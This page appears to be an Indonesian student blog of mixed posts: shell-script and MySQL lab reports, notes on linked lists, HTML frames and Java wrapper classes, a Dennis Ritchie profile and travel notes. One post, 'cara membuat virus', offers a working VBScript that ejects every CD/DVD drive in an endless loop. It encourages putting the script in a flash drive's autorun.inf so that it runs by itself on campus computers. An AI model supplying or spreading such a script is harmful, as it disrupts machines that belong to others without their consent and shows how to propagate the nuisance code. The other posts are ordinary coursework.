8 November 2012

Pemograman Shell (2)



A.                MAKSUD DAN TUJUAN

1.      MAKSUD
      Mengenal pemograman Shell Script yang terdapat di dalam system operasi Linux dengan statement Case, For, dan While.
2.      TUJUAN
Agar mahasiswa dapat :
·         Mengenal pemograman shell sript dalam system operasi Linux
·         Membuat program shell sript yang terdapat pada Linux

B.                 DASAR TEORI

Pemograman shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell tersebut. Dan di dalam system operasi Linux  banyak terdapat pilihan untuk melakukan shell, sperti statemen Case yang digunakan di dalam menyelesaikan pemakaian statemen if yang berantai, sehingga dengan Case kondisi dapat dikelompokkan secara logis dengan lebij jelas dan mudah untuk ditulis. Statemen For digunakan untuk pengulangan dengan menggunakan varabel yang pada setiap pengulangan akan diganti dengan nilai yang berada pada daftar/list. Statemen While yang digunakan untuk suatu pengulangan instruksi, dan umumnya dibatasi dengan suatu kondisi. Selama kondisi true, maka pengulangan akan berhenti dan bila kondisi false, atau program keluar dari blok while melalui statemen exit atau break. Dan program utility untuk shell script adalah program-program Bantu untuk melaksanakan satu tugas tertentu.



C.                PEMBAHASAN
Pada pertemuan minggu ke6, telah membahas modul yang mempelajari tentang  bagaimana cara menggunakan pemograman shell, dengan mencoba beberapa statemen pada praktikum ini kami menggunakan system operasi Linux Mandrake dan berikut ini adalah cara-cara / langkah-langkah yang kami lakukan pada praktikum :
·                              Pertama kita mencoba Statemen Case dengan cara membuat file terlebih dahulu yang diberi nama pilih dengan cara menuliskan vi pilih kemudian setelah itu isinya kita tulis seperti ini  :
echo "1. Siapa yang aktif di Serverstudent"
echo "2. Tanggal hari ini "
echo "3. Kalender bulan sekarang"
echo -n "Pilihan :"
read pil
case $pil in
1)
 echo "Yang aktif di Serverstudent"
 who
 ;;
2)
 echo "Tanggal hari ini"
 date
 ;;
3)
 echo "Kalender bulan sekarang"
 cal
 ;;
*)
 echo "Salah pilih ...!"
 ;;
 Esac
·                                 Setelah selesai kita save dengan menuliskan wq lalu kita coba dengan menuliskan chmod +x pilih; ./pilih maka hasilnya adalah :
    1. Siapa yang aktiv di Serverstudent
2. Tanggal hari ini
3. Kalender bulan sekarang
Pilihan : 2
Tanggal hari ini
sat     jul   30   12 : 51 :35   WIT 2005
·                                 Yang kedua kita mencoba Statemen Case dengan cara membuat file terlebih dahulu yang diberi nama nama dengan cara menuliskan vi nama kemudian setelah itu isinya kita tulis seperti ini  :
                            for nama in Febtyana Sudiri Hartini
                                do
                           echo "nama : $nama"
                          done  
·                                       Kemudian kita simpan dengan kembali menuliskan wq allu kita coba dengan menuliskan chmod +x nama; ./ nama maka hasilnya adalah :
                     Nama     :  Febtyana
                     Nama     :  sudiri
                     Nama     :  hartini

 

D. KESIMPULAN

Setelah mempelajari pemograman Shell Script yang terdapat di dalam system operasi Linux dengan statement Case, For, dan While, kita dapat mengenal pemograman shell sript dalam system operasi Linux dan membuat program shell sript yang terdapat pada Linux.
Pemograman shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell tersebut

13 September 2012

pengertian LINKLIST dan contohnya



LINKLIST

Linked list / di sebut juga senarai berantai yaitu penglokasian memori secara dinamis yang digunakan untuk menyimpan data. Pada linked list kita dapat menyimpan data seberapapun yang kita mau.
            Single linked list (senarai berantai tunggal) adalah linked list dimana semua simpul-simpulnya hanya memiliki 1buah penunjuk yang digunakan untuk mengkaitkan diri degan simpul lain yang sejenis yang ada disebelah kanannya didalam sebuah senarai berantai yang sama.

Unsure-unsur pendukung linked list meliputi:
-          Penunjuk/pointer à alat untuk menunjuk sebuah simpul atau tempat kosong (null).
-          Simpul/node à untuk simpul tunggal hanya dapat menunjuk kesimpul yang serupa dengan dirinya yang letaknya disebelah kanannya.
-          Senarai berantai/single linked list à merupakan kiumpulan simpul-simpul yang terhubung satu dengan yang lain.

15 Juli 2012

Menghilangkan Scrolling



Menghilangkan Scrolling
Jika anda tidak menghendaki batang penggulung tersebut, Anda bisa menambahkan:
SCROLLING=”NO” pada tag <FRAME> yang menentukan frame kiri.

tambahkan atribut scrolling=”no” pada  tag frame
Contoh:
<html>
<frameset cols="25%,*">
     <frame src="frame_satu.html" scrolling="no" >
     <frame src="frame_dua.html">
</frameset>
</html>
Hasilnya:

menggunakan border pada tag (frameset)


Menggunakan Border
Atribut BORDER pada tag <frameset> berguna untuk mengatur ketebalan garis pemisah antarframe. Jika anda tidak menghendaki adanya pemisah antar frame, tambahkan atribut border=”0”, atau jika menginginkan border yang lebih tebal, tambahkan nilainya.
Contoh:
frame_kiri.html
<html>
<body>
Ini frame kiri
</body>
</html>
frame_kanan.html
<html>
<body>
Ini frame kanan
</body>
</html>

cara membuat FRAME


PENGGUNAAN FRAME
Banyak halaman web diinternet yang menggunakan frame. Frame memungkinkan satu halaman web atau lebih ditampilkan pada sebuah jendela browser.  Halaman yang berbasis frame dibentuk dengan menggunakan pasangan tag <frameset> dan </frameset>. Di dalam tag <frameset>, atribut cols digunakan untuk menentukan lebar masing-masing frame. Sebagai contoh, pendefinisian lebar dua buah frame ditentukan melalui:

<frameset cols=”30%,*”>
....
</frameset>

Didalam pasangan tag <frameset></frameset> disebutkan berkas-berkas HTML yang menyusun frame. Hal ini dikerjakan dengan menggunakan tag <frame>. Didalam tag ini, nama berkas HTML disebutkan melalui atribut SRC.
Contoh:
frame_satu.html
<html>
<body bgcolor="Black">
<font size="+2" face="Arial" color="white">
Ini frame kiri
</font>
</body>
</html>
frame_dua.html

19 Juni 2012

KLAS DATA TYPE WRAPPER


Class wrapper adalah representasi objek sederhana dari variabelvariabel non-objek yang sederhana.
Nama-nama class wrapper cukup mudah untuk diingat selama nama-nama itu sama
dengan tipe data primitif. Dan juga sebagai catatan, bahwa class-class wrapper diawali
dengan huruf besar dan versi yang ditunjukkan dari tipe data primitive.
Boolean
Java memiliki tipe data sederhana untuk besaran logika yang disebut boolean. Tipe ini hanya dapat memiliki 2 kemungkinan nilai, yaitu true atau false. Tipe inilah yang dikeluarkan oleh semua operator perbandingan, seperti (a < b). Boolean juga merupakan tipe yang dibutuhkan oleh semua operator pengatur alur bersyarat, seperti if, while, dan do.
operator InstanceOf instanceOf memiliki dua operands: suatu mengarahke sebuah object pada sebelah kiri dan nama class pada sebelah kanan. pernyataan mengembalikan nilai true atau false tergantung pada apakah object adalah sebuah instance dari penamaan class atau beberapa dari subclass milik class tersebut.
Sebagai contoh,
boolean ex1 = "Texas" instanceof String; // true
Object pt = new Point(10, 10);
boolean ex2 = pt instanceof String; // false

public int compareTo(String anotherString)
Membandingkan dua String dan mengirim bilangan int yang menspesifikasikan apakah
objek string pemanggil kurang dari atau sama dengan anotherString. Bernilai negatif
jika objek yang dilewatkan (passed string) lebih besar, 0 jika kedua string sama, dan
bernilai positif jika objek string pemanggil (calling string) lebih besar.
toUpperCase() adalah fungsi untuk mengubah seluruh huruf menjadi huruf besar.
toLowerCase() berfungsi untuk mengubah huruf menjadi huruf¹¹¹¹ kecil.

contoh programnya :

Linked List atau senarai berantai


Linked List atau senarai berantai adalah kumpulan atau koleksi dari komponen yang dinamakan node. Setiap node menyimpan informasi tentang alamat dari node berikutnya . Sebuah node terdiri dari dua bagian, yaitu data dan link.

ArrayList merupakan array dinamis untuk tipe object . Karena setiap class adalah subclass object, maka semua obyek yang dimiliki oleh semua class dapat disimpan dalam ArrayList. Kode ArrayList hanya ditulis sekali tetapi dapat bekerja untuk semua tipe obyek.

ini adalah contoh dari progaram " Linked List atau senarai berantai " , berserta penjelasannya

6 Juni 2012

CARA MEMBUAT LINK YANG SEDERHANA PADA WEB


Link merupakan suatu kata, sederetan kata (kalimat) atau gambar dalam suatu web yang tehubung dengan suatu halaman web, baik itu halaman web dari dalam web itu sendiri atau pun halaman web pihak lain.
Web artinya Suatu sistem di internet yang memungkinkan siapapun agar bisa menyediakan informasi. Dengan menggunakan teknologi tersebut, informasi dapat diakses selama 24 jam dalam satu hari dan dikelola oleh mesin. Untuk mengakses informasi yang disediakan web ini, diperlukan berbagai perangkat lunak, yang disebut dengan web browser.
sekarang kita akan mencoba untuk memebuat beberapa program LINK untuk formula


27 April 2012

Penemu Bahasa Pemprograman C ( Dennis Ritchie )

Dennis Ritchie (lahir 9 September 1941 – meninggal 8 Oktober 2011 pada umur 70 tahun) tak hanya dikenal sebagai pembuat bahasa C, ia juga menjadi bagian tim di Bell Labs yang mengembangkan UNIX — sistem operasi yang menjadi basis Linux dan Apple MacOS saat ini. Lewat kreasinya tersebut kita bisa menikmati komputer modern seperti sekarang dan menggunakan bermacam aplikasi sehari-hari baik di Windows maupun sistem lainnya.

Ritchie yang meraih gelar PhD di Harvard juga pernah mendapatkan sejumlah penghargaan internasional bagi karyanya termasuk Turing Award di tahun 1983, IEEE Richard W. Hamming Medal di tahun 1990, dan National Medal of Technology di tahun 1999. Semua penghargaan ini diperoleh bersama mitranya, Ken Thompson. Hingga tahun 2007, Ritchie tercatat sebagai kepala departemen riset di Lucent Technologies.

Walaupun tak sepopuler Steve Jobs, namun pengaruhnya dalam dunia teknologi sama hebatnya. Ritchie merupakan penemu bahasa pemrograman C dan salah satu pengembangan Unix yang keduanya pendukung teknologi modern.

Bahasa C ini digunakan untuk memprogram sistem yang sering digunakan dalam mengembangkan software aplikasi.

Sedangkan Unix menjadi sistem operasi pilihan untuk internet dan kemudian banyak digunakan pada berbagai jenis perangkat keras.

Prestasi Ritchie-pun banyak diakui, salah satunya pada tahun 1999 ketika ia di anugerahi US National Medal of Technology, penghargaan tertinggi di Amerika untuk teknologi.

Presiden Alcatel-Lucent Bell Labs, Jeong Kim mengatakan, "Ritchie benar-benar inspirasi bagi kita semua, bukan hanya karena prestasinya, tapi juga sebagai teman, penemu, dan seorang pria rendah hati yang ramah," ujarnya.

Programer Google, Tim Bray-pun menyampaikan kesannya terhadap Ritchie melalui Twitternya, "Dia sudah membantuku dengan ciptaannya selama tiga puluh tahun," kata Bray.

Seorang pengembang, James Grimmelman mengatakan bahwa pengaruh Ritchie setara dengan Jobs.

"Ritchie mempunyai pengaruh yang sama besarnya dengan Jobs, hanya saja itu kurang terlihat," ujarnya di akun Twitternya.

24 April 2012

cara membuat virus



Cara Membuat Virus Nakal .kali ini saya akn membagi informasi sedikit tentang membuat virus..

Mencoba-coba buat virus di tempat temen
Walaupun ada beberapa yang copas, namanya juga belajar gan
Hmm teryata berhasil
Heheehe

Ini scib-nya

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If

Simpan file dengan ekstensi file nama_terserah.vbs atau apapun
nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya
tanpa henti.


Cara menghentikan aksi Virus cukup menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..

Sekian dari saya. Semoga bermanfaat ya gan

23 April 2012

Beberapa pulau yang terkenal di indonesia yang mendunia

Beberapa pulau yang terkenal di indonesia yang mendunia, Disini kita akan membahas tentang pulau yang memiliki keindahan yang sangat luar biasa yang teradapat di Papua..
pastinya diantara temen-temen sudah tidak asing lagi dengan pulau ini,
Raja Ampat merupakan rangkaian empat gugusan pulau yang berdekatan dan berlokasi di barat bagian Kepala Burung (Vogelkoop) Pulau Papua. Secara administrasi, gugusan ini berada di bawah Kabupaten Raja Ampat, Provinsi Papua Barat. Kepulauan ini sekarang menjadi tujuan para penyelam yang tertarik akan keindahan pemandangan bawah lautnya. Empat gugusan pulau yang menjadi anggotanya dinamakan menurut empat pulau terbesarnya, yaitu Pulau Waigeo, Pulau Misool, Pulau Salawati, dan Pulau Batanta.
Asal mula nama Raja Ampat menurut mitos masyarakat setempat berasal dari seorang wanita yang menemukan tujuh telur. Empat butir di antaranya menetas menjadi empat orang pangeran yang berpisah dan masing-masing menjadi raja yang berkuasa di Waigeo, Salawati, Misool Timur dan Misool Barat. Sementara itu, tiga butir telur lainnya menjadi hantu, seorang wanita, dan sebuah batu.
Yang paling membuat kita bangga adalah karena Perairan laut di Raja Ampat merupakan perairan yang terjernih di dunia, dan juga biota laut yang terdapat di perairan laut Raja Ampat merupakan yang terlengkap dan banyak yang hanya berada di daerah kepulauan Raja Ampat. Dan juga Raja Ampat merupakan lokasi penyelaman terbaik diseluruh dunia.

19 April 2012

kota jogaja

indahnya kota jogja.
penuh dengan kedamaian

12 April 2012

laporan partikum basis data semester 2 modul 9


MODUL 9
SQL (OPERASI PADA TABEL TUNGGAL)


A.MAKSUD DAN TUJUAN
Agar mahasiswa memahami tentang perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal.

B.PEMBAHASAN

ALL : kata kunci dasar untuk pernyataan select. Kondisi denagn ALL menghasilkan nilai benar jika perbandingan dihasilkan niali benar untuk setiap nilai dalam subquery. Tetapi kita hampir tidak pernah menemukan kata kunci tersebut karena hasil dari select<nama tabel> dan select all<nama tabel> adalah identik.

Pelaksanaan praktikum :


*      mysql> show tables;
//untuk menampilkan table dari dbproyek1.

mysql> select * from divisi;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi     | kodemanager | namadiv                   |
+---------+------------+-------------+---------------------------+
| D101    | Bandung    | 13235500    | Construction Management   |
| D102    | Yogyakarta | 13235539    | Marketing Management      |
| D501    | Yogyakarta | 13235540    | Management Information Sy |
| D535    | Jakarta    | 13235552    | Production Management     |
+---------+------------+-------------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select * from divisi;
//digunakan untuk menampilkan data dari divisi yang berisi kodediv, lokasi, kodemanager, namadiv.

mysql> select kodediv, namadiv from divisi order by namadiv;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by namadiv;
//untuk menampilkan kodediv, namadiv dari table divisi mengurutkan namadiv berdasar nama secara urut naik.

mysql> select kodediv, namadiv from divisi order by namadiv desc;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D535    | Production Management     |
| D102    | Marketing Management      |
| D501    | Management Information Sy |
| D101    | Construction Management   |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by namadiv desc;
//digunakan untuk menampilkan data kodediv, namadiv, dari table divisi dan mengurutkan secara urut turun.

mysql> select kodediv, namadiv from divisi order by kodediv;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D102    | Marketing Management      |
| D501    | Management Information Sy |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)
*      mysql> select kodediv, namadiv from divisi order by kodediv;
// untuk mengurutkan berdasarkan nama kodediv secara urut naik.

mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
;
+---------+---------------------------+------------+
| kodediv | namadiv                   | lokasi     |
+---------+---------------------------+------------+
| D535    | Production Management     | Jakarta    |
| D102    | Marketing Management      | Yogyakarta |
| D501    | Management Information Sy | Yogyakarta |
| D101    | Construction Management   | Bandung    |
+---------+---------------------------+------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv, lokasi from divisi order by namadiv desc, lokasi
//untuk mengurutkan divisi menurut jenis dan nama. Pada kodediv, namadiv, lokasi untuk table divisi.

mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by 2; //untuk mengurutkan divisi menurut kolom 2 (jenis).

mysql> select kodediv, namadiv from divisi order by 2;
+---------+---------------------------+
| kodediv | namadiv                   |
+---------+---------------------------+
| D101    | Construction Management   |
| D501    | Management Information Sy |
| D102    | Marketing Management      |
| D535    | Production Management     |
+---------+---------------------------+
4 rows in set (0.00 sec)

*      mysql> select kodediv, namadiv from divisi order by 2;
//untuk mengurutkan divisi menurut kolom 2 (jenis).

mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by l
kasi;
+---------+-------------------------+------------+------------------+
| kodediv | namadiv                 | lokasi     | avg(kodemanager) |
+---------+-------------------------+------------+------------------+
| D101    | Construction Management | Bandung    |         13235500 |
| D535    | Production Management   | Jakarta    |         13235552 |
| D102    | Marketing Management    | Yogyakarta |       13235539.5 |
+---------+-------------------------+------------+------------------+
3   rows in set (0.03 sec)

*      mysql> select kodediv, namadiv, lokasi, avg(kodemanager) from divisi group by lokasi untuk menampilkan kodediv, //namadiv, lokasi dan untuk menghasilkan rata-rata kodemanager dikelompokkan berdasarkan kodediv, namadiv, lokasi.

mysql> select count(kodediv) from divisi;
+----------------+
| count(kodediv) |
+----------------+
|              4 |
+----------------+
1 row in set (0.00 sec)

*      mysql> select count(kodediv) from divisi;
//untuk menghasilkan cacah baris dari tabel kodediv kolom kodediv dalam count dapat diganti apa saja (hanya 1 field) cukup ditulis * (sembarang).

mysql> select * from divisi LIMIT 3;
+---------+------------+-------------+---------------------------+
| kodediv | lokasi     | kodemanager | namadiv                   |
+---------+------------+-------------+---------------------------+
| D101    | Bandung    | 13235500    | Construction Management   |
| D102    | Yogyakarta | 13235539    | Marketing Management      |
| D501    | Yogyakarta | 13235540    | Management Information Sy |
+---------+------------+-------------+---------------------------+
3 rows in set (0.00 sec)

*      mysql> select * from divisi LIMIT 3;
//untuk membatasi jumlah baris yang ditampilkan hanya menampilkan 3 record dari atas.

mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
+------------+-------+
| lokasi     | cacah |
+------------+-------+
| Bandung    |     1 |
| Jakarta    |     1 |
| Yogyakarta |     2 |
+------------+-------+
3 rows in set (0.00 sec)
*      mysql> select lokasi,count(*) as cacah from divisi group by lokasi;
//menghitung jumlah acount dari divisi perjenis, khusus untuk yang dari lokasi.

LATIHAN

mysql> use perpustakaan;
Database changed
*      mysql> use perpustakaan;
// digunakan untuk koneksi ke database sebelu menggunakan program mysql, kita harus mengakses basis data nya terlebih dahulu. Maka tanggapan mysql database changed.

mysql> show tables;
+------------------------+
| Tables_in_perpustakaan |
+------------------------+
| anggota                |
| buku                   |
| jenisbk                |
| pegawai                |
| pengarang              |
| pinjam                 |
+------------------------+
6 rows in set (0.00 sec)
*      mysql> show tables;
// untuk menampilkan table pada perpustakaan. Yang hasil seperti table diatas.

mysql> select * from anggota;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati    | 093110001 | 2.50 | AK      |            5 |
| MHS0002 | Yani             | 093110002 | 3.50 | AK      |         NULL |

*      mysql> select * from anggota;
*      // untuk menampilkan atau membaca data dari anggota. Pada perintah ini untuk menampilkan semau kolom semua baris.

mysql> select * from anggota order by nama_angt;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI      |         NULL |

*      mysql> select * from anggota order by nama_angt;
// untuk menampilkan data dari anggota dan mengurutkan data dengan menggunakan ORDER BY. Dengan nama urutan naik.

mysql> select * from anggota order by nama_angt, ipk desc;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI      |         NULL |

*      mysql> select * from anggota order by nama_angt, ipk desc;
// untuk menampilkan nama dan ipk semua anggota

mysql> select * from anggota order by ipk desc, jurusan;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0003 | Bernedictus Cico | 093110003 | 3.75 | AK      |            3 |
| MHS0002 | Yani             | 093110002 | 3.50 | AK      |         NULL |

*      mysql> select * from anggota order by ipk desc, jurusan;
// untuk menampilkan data anggota dengan mengurutkan ipkdengan jurusan.

mysql> select count(jurusan) from anggota;
+----------------+
| count(jurusan) |
+----------------+
|             21 |

*      mysql> select count(jurusan) from anggota;
// menampilkan jurusan dari anggota

mysql> select count(jurusan) from anggota group by jurusan;
+----------------+
| count(jurusan) |
+----------------+
|              3 |
|              8 |

*      mysql> select count(jurusan) from anggota group by jurusan;
// untuk menampilkan jurusan daria anggota.


mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group b
y jurusan;

+---------+------------------+
| jurusan | banyak mahasiswa |
+---------+------------------+
| AK      |                3 |
| MI      |                8 |


*      mysql> select jurusan, count(jurusan) as 'banyak mahasiswa' from anggota group by jurusan;
// pada perintah ini untuk menampilkan jurusan, acount dari banyak mahasiswa dari group anggota nya dari jurusan. Pad jurusan AK ada 3 jumlah mahasiswa, sedangkan pada MI ada 8 mahasiswa.

mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |   3.250000 |
| MI      |   2.696250 |

*      mysql> select jurusan, avg(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data pada table jurusan dengan menghitung rata-rata ipk,

mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |       3.75 |
| MI      |       3.90 |

*      mysql> select jurusan, max(ipk) as 'Rerata IPK' from anggota group by jurusan;
// untuk menampilkan data bedasarkan ipk terbesar pada rata-rata ipk darijurusan.

mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
+---------+------------+
| jurusan | Rerata IPK |
+---------+------------+
| AK      |       2.50 |

*      mysql> select jurusan, min(ipk) as 'Rerata IPK' from anggota group by jurusan;
// menampilkan jurusan untuk memperoleh nilai ipk yang terkecil dari rerata ipk dari anggota jurusan.

mysql> select * from anggota limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0001 | Titik Hartati    | 093110001 | 2.50 | AK      |            5 |

*      mysql> select * from anggota limit 6;
// untuk menampilkan data dari anggota dan membatasi jumlah baris yang ditampilkan. Hanya menampilkan 6 record dari atas.

mysql> select * from anggota order by nama_angt limit 6;
+---------+------------------+-----------+------+---------+--------------+
| id_angt | nama_angt        | nip_nim   | ipk  | jurusan | hari_nunggak |
+---------+------------------+-----------+------+---------+--------------+
| MHS0010 | Arief            | 093110010 | 3.90 | MI      |         NULL |
| MHS0009 | Arman            | 093110009 | 3.01 | MI   
  |         NULL |

*      mysql> select * from anggota order by nama_angt limit 6;
//  untuk menampilkan data anggota yang diurutkan dari anggota dan ditampilkan 6 record dari atas.
C.TUGAS

mysql> show tables;
+----------------------+
| Tables_in_tokoonline |
+----------------------+
| barang               |
| detailbeli           |

mysql> select * from barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRHP001     | HP LASER 4L        |   1250000.00 |
| PRHP002     | HP LASER 5L        |   1450000.00 |

mysql> select * from barang order by harga_barang;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRCN001     | CANON DESKJET 1000 |    650000.00 |
| PRCN002     | CANON DESKJET 1200 |    750000.00 |

mysql> select * from barang order by harga_barang desc;
+-------------+--------------------+--------------+
| kode_barang | nama_barang        | harga_barang |
+-------------+--------------------+--------------+
| PRHP006     | HP LASER 1500      |   1950000.00 |
| PRHP005     | HP LASER 1020      |   1850000.00 |

mysql> select count(*) from barang order by harga_barang desc;
+----------+
| count(*) |
+----------+
|       11 |

mysql> select sum(harga_barang) from barang;
+-------------------+
| sum(harga_barang) |
+-------------------+
|       14350000.00 |

mysql> select avg(harga_barang) from barang;
+-------------------+
| avg(harga_barang) |
+-------------------+
|    1304545.454545 |

mysql> select * from barang group by kode_barang like 'prn%';
+-------------+-------------+--------------+
| kode_barang | nama_barang | harga_barang |
+-------------+-------------+--------------+
| PRHP001     | HP LASER 4L |   1250000.00 |

mysql> select avg(harga_barang) as 'Rerata Harga' from barang;
+----------------+
| Rerata Harga   |
+----------------+
| 1304545.454545 |

mysql> select * from barang where kode_barang like 'prh%';
+-------------+---------------+--------------+
| kode_barang | nama_barang   | harga_barang |
+-------------+---------------+--------------+
| PRHP001     | HP LASER 4L   |   1250000.00 |

mysql> select avg(harga_barang) from barang where kode_barang like 'prh%';
+-------------------+
| avg(harga_barang) |
+-------------------+
|    1633333.333333 |

mysql> select avg(harga_barang) from barang where kode_barang like 'prc%';
+-------------------+
| avg(harga_barang) |
+-------------------+
|     910000.000000 |

mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prc%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRCN001     |     910000.000000 |

mysql> select kode_barang, avg(harga_barang) from barang where kode_barang like
'prh%';
+-------------+-------------------+
| kode_barang | avg(harga_barang) |
+-------------+-------------------+
| PRHP001     |    1633333.333333 |

mysql> select max(harga_barang) from barang where nama_barang like 'HP%';
+-------------------+
| max(harga_barang) |
+-------------------+
|        1950000.00 |

mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | max(harga_barang) |
+-------------+-------------------+
| HP LASER 4L |        1950000.00 |

mysql> select nama_barang, max(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang        | max(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 |        1150000.00 |

mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'Canon%';
+--------------------+-------------------+
| nama_barang        | min(harga_barang) |
+--------------------+-------------------+
| CANON DESKJET 1000 |         650000.00 |

mysql> select nama_barang, min(harga_barang) from barang where nama_barang like
'HP%';
+-------------+-------------------+
| nama_barang | min(harga_barang) |
+-------------+-------------------+
| HP LASER 4L |        1250000.00 |



D.KESIMPULAN
            Untuk memahami perintah-perintah yang digunakan untuk melakukan operasi dan melakukan modifikasi pada tabel tunggal. Kondisi dengan ALL menghasilkan nilai benar jika perbandingan dihasilkan nilai benar untuk setiap niali dalam subquery.

E.LISTING
Terlampir

Pengikut

Total Tayangan Halaman

selamat datang

Pemograman Shell (2)

on 8 November 2012


A.                MAKSUD DAN TUJUAN

1.      MAKSUD
      Mengenal pemograman Shell Script yang terdapat di dalam system operasi Linux dengan statement Case, For, dan While.
2.      TUJUAN
Agar mahasiswa dapat :
·         Mengenal pemograman shell sript dalam system operasi Linux
·         Membuat program shell sript yang terdapat pada Linux

B.                 DASAR TEORI

Pemograman shell adalah salah satu pemograman yang eksekusinya tidak memerlukan yang namanya compiler khusus akan tetapi hanya cukup diterjemahkan saja oleh shell tersebut. Dan di dalam system operasi Linux  banyak terdapat pilihan untuk melakukan shell, sperti statemen Case yang digunakan di dalam menyelesaikan pemakaian statemen if yang berantai, sehingga dengan Case kondisi dapat dikelompokkan secara logis dengan lebij jelas dan mudah untuk ditulis. Statemen For digunakan untuk pengulangan dengan menggunakan varabel yang pada setiap pengulangan akan diganti dengan nilai yang berada pada daftar/list. Statemen While yang digunakan untuk suatu pengulangan instruksi, dan umumnya dibatasi dengan suatu kondisi. Selama kondisi true, maka pengulangan akan berhenti dan bila kondisi false, atau program keluar dari blok while melalui statemen exit atau break. Dan program utility untuk shell script adalah program-program Bantu untuk melaksanakan satu tugas tertentu.



C.                PEMBAHASAN
Pada pertemuan minggu ke6, telah membahas modul yang mempelajari tentang  bagaimana cara menggunakan pemograman shell, dengan mencoba beberapa statemen pada praktikum ini kami menggunakan system operasi Linux Mandrake dan berikut ini adalah cara-cara / langkah-langkah yang kami lakukan pada praktikum :
·                              Pertama kita mencoba Statemen Case dengan cara membuat file terlebih dahulu yang diberi nama pilih dengan cara menuliskan vi pilih kemudian setelah itu isinya kita tulis seperti ini  :
echo "1. Siapa yang aktif di Serverstudent"
echo "2. Tanggal hari ini "
echo "3. Kalender bulan sekarang"
echo -n "Pilihan :"
read pil
case $pil in
1)
 echo "Yang aktif di Serverstudent"
 who
 ;;
2)
 echo "Tanggal hari ini"
 date
 ;;
3)
 echo "Kalender bulan sekarang"
 cal
 ;;
*)
 echo "Salah pilih ...!"
 ;;
 Esac
·                                 Setelah selesai kita save dengan menuliskan wq lalu kita coba dengan menuliskan chmod +x pilih; ./pilih maka hasilnya adalah :
    1. Siapa yang aktiv di Serverstudent
2. Tanggal hari ini
3. Kalender bulan sekarang
Pilihan : 2
Tanggal hari ini
sat     jul   30   12 : 51 :35   WIT 2005
